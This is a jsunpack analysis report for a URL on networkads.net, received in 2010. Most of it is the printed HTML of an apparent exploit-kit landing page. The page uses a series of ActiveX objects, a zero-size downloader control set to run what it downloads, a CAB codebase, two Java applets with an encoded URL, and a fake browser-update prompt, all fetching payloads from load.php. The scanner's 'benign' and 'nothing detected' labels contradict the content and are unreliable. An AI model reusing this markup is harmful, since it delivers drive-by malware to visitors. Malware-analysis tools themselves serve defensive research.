jsunpack - a generic JavaScript unpacker

networkads.net/grep/?spl=3&br=MSIE&vers=6.0&s= benign

[nothing detected] networkads.net/grep/?spl=3&br=MSIE&vers=6.0&s=
info: [decodingLevel=0] found JavaScript

File information (1 files) Download zip | Explanation

fetch_08d55d76df16baaa21199e9cd136ecf82b52f0a1 from networkads.net/grep/?spl=3&br=MSIE&vers=6.0&s= (2540 bytes, 98 hidden)

<html><body>  <object classid="clsid:97AF4A45-49BE-4485-9F55-91AB40F288F2"> <PARAM NAME="OpenWebFile"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack"> </object>  <object classid="clsid:97AF4A45-49BE-4485-9F55-91AB40F22B92">  <PARAM NAME="OpenWebFile"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack">  </object>  <object classid="clsid:97AF4A45-49BE-4485-9F55-91AB40F22BF2">  <PARAM NAME="OpenWebFile"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack">  </object>  <object classid="clsid:18A295DA-088E-42D1-BE31-5028D7F9B965">  <PARAM NAME="OpenWebFile"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack">  </object> <object classid="clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8"> <PARAM NAME="installAppMgr"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack"> </object> <object classid="clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10"> <PARAM NAME="PerformUpdateAsync"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack"> </object> <object classid="clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0"> <PARAM NAME="ExecutePreferredApplication"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack"> </object> <OBJECT ID="DownloaderActiveX1" WIDTH="0" HEIGHT="0" CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"> <PARAM NAME="propWidth"  VALUE="0"> <PARAM NAME="propHeight"  VALUE="0"> <PARAM NAME="propDownloadUrl"  VALUE="http://networkads.net/grep/load.php?spl=ActiveX_pack"> <PARAM NAME="propPostDownloadAction"  VALUE="run"> </OBJECT><OBJECT id="sysWIN" WIDTH=1 HEIGHT=1 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" codebase="http://networkads.net/grep/Bol.CAB"> </OBJECT> <script language="vbscript"> sysWIN.url = "http://networkads.net/grep/load.php?spl=ActiveX_pack" sysWIN.fontsize = 10 sysWIN.barcolor = 00FF00 sysWIN.start = "start" </script><applet code="sklif.Hieeyfc.class" archive="j1_893d.jar" width="480" height="200"> <param name="data" VALUE="http://networkads.net/grep/load.php?spl=javal"> <param name="cc" value="1"> </applet><applet width='100%' height='100%' code='Uutecwv' archive='j2_079.jar'> <param name="site" VALUE="Njg3NDc0NzAzQTJGMkY2RTY1NzQ3NzZGNzI2QjYxNjQ3MzJFNkU2NTc0MkY2NzcyNjU3MDJGNkM2RjYxNjQyRTcwNjg3MDNGNzM3MDZDM0Q2QTYxNzY2MTMyNkM="> </applet><SCRIPT LANGUAGE="javascript"> function fakes() { if (confirm("Warning! Your browser is old. \n please install the update")) { parent.location="soc.php";} else {} } fakes(); </SCRIPT>

URL	Status
networkads.net/grep/?spl=3&br=MSIE&vers=6.0&s=	saved 2540 bytes to fetch_08d55d76df16baaa21199e9cd136ecf82b52f0a1

Submission permanent link 0c8505bcecd9daa4cf056f07f1b1ea8b6501d67a (Received 2010-04-09 13:58:40, http://networkads.net/grep/?spl=3&br=MSIE&vers=6.0&s= )

All Malicious or Suspicious Elements of Submission